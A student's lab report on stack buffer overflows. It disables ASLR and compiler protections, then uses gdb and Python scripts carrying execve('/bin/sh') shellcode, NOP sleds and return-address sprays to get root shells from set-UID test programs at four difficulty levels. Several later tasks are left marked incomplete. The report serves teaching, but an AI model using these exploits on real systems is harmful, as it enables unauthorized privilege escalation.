

A5 – Stack Overflow Detection, Exploitation, and Mitigation

Brian Kendrick

1 Task 1: Environment and Getting Familiar with Shellcode

1.1 Overview

A program that tries to write data past the boundary of a buffer is known as a *buffer overflow*. This has the potential to be exploited by changing the flow of the program. The goal of this lab is to learn and practice exploiting the buffer and gain root privileges. This will include:

- Buffer overflow vulnerability and attack
- Stack layout
- Address randomization, non-executable stack, and StackGuard
- Shellcode (32-bit and 64-bit)

1.2 Environment

Since modern day operating systems have countermeasure against what is presented in the lab, a few things preparation need to be made. These countermeasures will first be disabled and turned on later.

Address Space Randomization. Many Linux-based systems randomly place the starting addresses of memory on the stack and the heap. It is meant to counter memorization of addresses, which addresses are essential to buffer overflow attacks. The following command can be used to disable it:

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

Configuring /bin/sh. Another countermeasure in place is that both bash and dash can drop escalation privileges on Set-UID processes. For now, zsh shell with be used instead using the following command:

```
$ sudo ln -sf /bin/zsh /bin/sh
```

StackGuard and Non-Executable Stack. These are compiler protections. These with be turned off when compiling the program to be exploited. This is done with a gcc compiler using the '-fno-stack-protector' and '-z execstack'. The following shows an example:

```
$ gcc -DBUF_SIZE=<buffer-size> -m32 -fno-stack-protector -z execstack <prgm>
```

1.3 Shellcode

Shellcode is a common code to inject into a target program. There is a problem with trying to run a program for a shellcode. Since the OS does a lot to set up a program, this is a difficult change to overcome. Injecting code to another program just depends on the memory, not on the OS (Du, p. 188). This leads to focusing on the assembly code for a shell instead.

For a 32-bit program, `execve()` is used to execute `/bin/sh`. A 64-bit program is slightly different due to the difference in registers. Ultimately, this is how the shellcode is used. The shellcode used is in binary using a sequence in hex bytes as a C string. The shellcode is present in some images provided later in the report.

1.4 Invoking the Shellcode

A shell program is provided in this lab. Running it puts the user into a root privileged shell. Based on observation with the shell, it behaves very oddly. At first, it appeared that it doesn't allow use of backspaces, or at the very least it looks like it adds a whitespace instead. After some more testing, the buffer seems to act normally internally but not visually. Meaning backspace does work, but it doesn't show it visually. Backspace does not work (or provide a whitespace) if the buffer is empty, just as if it worked normally. The arrow keys have the same effect; they function internally, but not physically.

2 Task 2: Understanding the Vulnerable Program

2.1 The Vulnerable Program

The lab includes the vulnerable program. First, it is a root-owned *Set-UID*. The program uses the `strcpy()` which is known to be exploitable since it doesn't account for the buffer overflow. In other words, it does not account for boundaries. Even though the overflow occurs, the information is already written. This will be essential to some of the techniques.

The program is compiled with the aforementioned gcc parameters. The Makefile does all the setup for the four levels of programs and sets the buffer size. To double check that the randomization is off, a simple program is shown below which verifies this. If the output is the same, then randomization is off:

```

(kali㉿kali)-[~/Desktop/a5/Labsetup/code]
$ cat fixed_stack_ver.c
#include <stdio.h>

void func(int* a1)
{
    printf(" :: a1's addr: 0x%x \n", (unsigned int) &a1);
}

int main()
{
    int x = 3;
    func(&x);
    return 1;
}

(kali㉿kali)-[~/Desktop/a5/Labsetup/code]
$ gcc -m32 fixed_stack_ver.c -o check32

(kali㉿kali)-[~/Desktop/a5/Labsetup/code]
$ ./check32
:: a1's addr: 0xffffcf20

(kali㉿kali)-[~/Desktop/a5/Labsetup/code]
$ ./check32
:: a1's addr: 0xffffcf20

(kali㉿kali)-[~/Desktop/a5/Labsetup/code]
$ ./check32
:: a1's addr: 0xffffcf20

(kali㉿kali)-[~/Desktop/a5/Labsetup/code]
$ ./check32
:: a1's addr: 0xffffcf20

```

Program for checking that memory randomization is turned off. Success.

3 Task 3: Launching Attack on 32-bit Program (Level 1)

3.1 Investigation

First, *gdb* is used to run the *stack-L1-gdb* to find the *ebp* address, the buffer address, and the distance between the two.

```

(kali@kali)-[~/Desktop/a5/Labsetup/code]
$ gdb stack-L1-dbg
GNU gdb (Debian 17.1-4) 17.1
Copyright (C) 2025 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack-L1-dbg...
(gdb) b bof
Breakpoint 1 at 0x120e: file stack.c, line 20.
(gdb) run
Starting program: /home/kali/Desktop/a5/Labsetup/code/stack-L1-dbg
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
Input size: 0

Breakpoint 1, bof (str=0xffffccc3 "") at stack.c:20
20      strcpy(buffer, str);
(gdb) next
22      return 1;
(gdb) p $ebp
$1 = (void *) 0xffffc898
(gdb) p &buffer
$2 = (char (*)[100]) 0xffffc82c
(gdb) p/d 0xffffc898 - 0xffffc82c
$3 = 108
(gdb) quit
A debugging session is active.

      Inferior 1 [process 44546] will be killed.

Quit anyway? (y or n) y

```

Using the commands to break and check memory locations, the distance between the two can be calculated. This information will be used in the following program.

```

(kali@kali) - [~/Desktop/a5/Labsetup/code]
$ cat -n exploit.py
 1  #!/usr/bin/python3
 2  import sys
 3
 4  # Replace the content with the actual shellcode
 5  shellcode = (
 6      "\x31\xc0"
 7      "\x50"
 8      "\x68" "//sh"
 9      "\x68" "/bin"
10      "\x89\xe3"
11      "\x50"
12      "\x53"
13      "\x89\xe1"
14      "\x99"
15      "\xb0\x0b"
16      "\xcd\x80"
17  ).encode('latin-1')
18
19  # Fill the content with NOP's
20  content = bytearray(0x90 for i in range(517))
21
22  #####
23  # Put the shellcode somewhere in the payload
24  start = 400 # Change this number
25  content[start:start + len(shellcode)] = shellcode
26
27  # Decide the return address value
28  # and put it somewhere in the payload
29  ret = 0xffffc898 + 200 # Change this number
30  offset = 112 # Change this number
31
32  L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
33  content[offset:offset + L] = (ret).to_bytes(L, byteorder='little')
34  #####
35
36  # Write the content to a file
37  with open('badfile', 'wb') as f:
38      f.write(content)

```

This program's purpose is to create the payload. The *epb* value is used for the return address on line 29, with an additional 200 to start a little farther past the address. The offset is decided by the difference of the addresses, 108, plus 4 for being 32-bit. Once the exploit file is run, the *badfile* is populated with the malicious code, the shellcode. Below, *stack-L1* is run.

```

(kali@kali) - [~/Desktop/a5/Labsetup/code]
$ ./stack-L1
Input size: 517
# whoami
root
# ls -al
total 200
drwxrwxr-x 2 kali kali 4096 Apr 11 15:40 .
drwxrwxr-x 4 kali kali 4096 Dec 22 2020 ..
-rw-rw-r-- 1 kali kali 965 Dec 23 2020 Makefile
-rw-rw-r-- 1 kali kali 517 Apr 11 00:10 badfile
-rwxrwxr-x 1 kali kali 270 Dec 22 2020 brute-force.sh
-rwxrwxr-x 1 kali kali 15016 Apr 10 23:39 check32
-rwxrwxr-x 1 kali kali 1010 Apr 11 00:08 exploit.py
-rw-rw-r-- 1 kali kali 148 Apr 10 23:37 fixed_stack_ver.c
-rwsr-xr-x 1 root kali 15324 Apr 10 23:07 stack-L1
-rwxrwxr-x 1 kali kali 18440 Apr 10 23:07 stack-L1-dbg
-rwsr-xr-x 1 root kali 15324 Apr 10 23:07 stack-L2
-rwxrwxr-x 1 kali kali 18440 Apr 10 23:07 stack-L2-dbg
-rwsr-xr-x 1 root kali 16416 Apr 10 23:07 stack-L3
-rwxrwxr-x 1 kali kali 19744 Apr 10 23:07 stack-L3-dbg
-rwsr-xr-x 1 root kali 16416 Apr 10 23:07 stack-L4
-rwxrwxr-x 1 kali kali 19736 Apr 10 23:07 stack-L4-dbg
-rw-rw-r-- 1 kali kali 1132 Dec 22 2020 stack.c
# exit

```

Successful payload gained root shell.

4 Task 4: Launching Attack on 32-bit Program (Level 2)

4.1 Limitation: Range of Buffer Size

Since the buffer size can be difficult to find, using a range in a single payload can be done. This consists of NOPS sled, the return address, and having the malicious code at the end of the *badfile*. The range provided is 100 – 200. The reason for minimizing the number of attacks to a single one is to avoid any alerts that the attack may cause. Using *gdb* allows the buffer address to be found again. This is used as the return address with some additional padding.

```
(kali@kali)~[~/Desktop/a5/Labsetup/code]
$ cat -n exploit12.py
 1  #!/usr/bin/python3
 2  import sys
 3
 4  # Replace the content with the actual shellcode
 5  shellcode= (
 6      "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
 7      "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
 8      "\xd2\x31\xc0\xb0\x0b\xcd\x80"
 9  ).encode('latin-1')
10
11  # Fill the content with NOP's
12  content = bytearray(0x90 for i in range(517))
13
14  #####
15  # Put the shellcode somewhere in the payload
16  #start = 400          # Change this number
17  content[517 - len(shellcode):] = shellcode
18
19  # Decide the return address value
20  # and put it somewhere in the payload
21  ret = 0xffffc820 + 220 # Change this number
22  #offset = 112         # Change this number
23
24  L = 4                # Use 4 for 32-bit address and 8 for 64-bit address
25
26  # Spray buffer - 200 bytes / 4 bytes = 50 (32bit)
27  # offset becomes multiple of 4 to
28  for offset in range(50):
29      content[offset*L:offset*L + L] = (ret).to_bytes(L,byteorder='little')
30  #####
31
32  # Write the content to a file
33  with open('badfile', 'wb') as f:
34      f.write(content)
```

This method shown is called the spray method. The payload contains the return address every 4 bytes (32-bit) since only a range of addresses are available. The badfile output shows that the shellcode is near the end.

[illegible]

The payload succeeds and root access is gained.

5 Task 5: Launching Attack on 32-bit Program (Level 3)

5.1 Differences between 32-bit and 64-bit

There are many differences when attacking a 64-bit program compared to the 32-bit one. Primarily, the address size is 8 bytes and the return address highest two bytes being zeros. The zeros cause the buffer to exit early and remain uncopied to the stack. Furthermore, the `epb` value from 32-bit systems is going to be the `rbp` value.

[illegible]

The buffer address and the buffer size are both given. This and all other parts of the lab use little endianness. Below is the encoding for *badfile*. Offset is based on the difference between the rbp and buffer address plus an additional 8 for being 64-bit. The shellcode has been updated as well for the 64-bit version.

```
(kali㉿kali)-[~/Desktop/a5/Labsetup/code]
$ ./stack-L3
Input size: 517
# whoami
root
# ls
Makefile  brute-force.sh  exploit.py  exploitL3.py  stack-L1
badfile   check32         exploitL2.py fixed_stack_ver.c stack-L1-dbg
# exit

(kali㉿kali)-[~/Desktop/a5/Labsetup/code]
$ cat exploitL3.py
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
    "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
    "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
    "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

#####
# Put the shellcode somewhere in the payload
start = 120          # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x7fffffff6d0 # Change this number
offset = 216          # Change this number

L = 8      # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
#####

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)
```

Shown at the top of the image is the successful access to the root shell.

6 Task 6: Launching Attack on 32-bit Program (Level 4)

6.1 Small Buffer Size

Similar to Task 2, the new limitation is a buffer size of only ten. Using *gdb*, the buffer address is obtained and used as the return address. The offset is the buffer size plus the expected 8 bytes. The addition length given to the return address has the purpose of sending the pointer from the functions stack frame to the *main()*'s stack frame. That means the return address is placed near the start of the payload. Since the zeros will cause the buffer to close, this is ok. The return address is sent towards the end of the payload, which overwrote the memory when the buffer ended early.

```
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)          # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0x7fffffff6a6 + 1250           # Change this number
offset = 18                          # Change this number

L = 8    # Use 4 for 32-bit address and 8 for 64-bit address

content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
#####

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)

(kali㉿kali)-[~/Desktop/a5/Labsetup/code]
$ ./exploitL4.py 66 ./stack-L4
Input size: 517
# whoami
root
# exit
```

Successful access to a root shell.

As shown above, the return address was an additional 1250 bytes past the return address before a successful attempt. The original value was 100 and incremented by 100 until it worked. This was either a successful return from the buffer, and eventually a segmentation fault. At 1300, the payload succeeded and dropped by 50 giving value of 1250; 1200 causing a segmentation fault.

7 Task 7: Defeating dash's Countermeasure

7.1 Incomplete

Incomplete

8 Task 8: Defeating Address Randomization

8.1 Incomplete

Incomplete

9 Task 9: Experimenting with Other Countermeasures

9.1 Turn on the StackGuard Protection

9.2 Turn on the Non-executable Stack Protection

Incomplete

10 Conclusion

10.1 Incomplete

Valgrind did provide a message notifying that the code was not safe.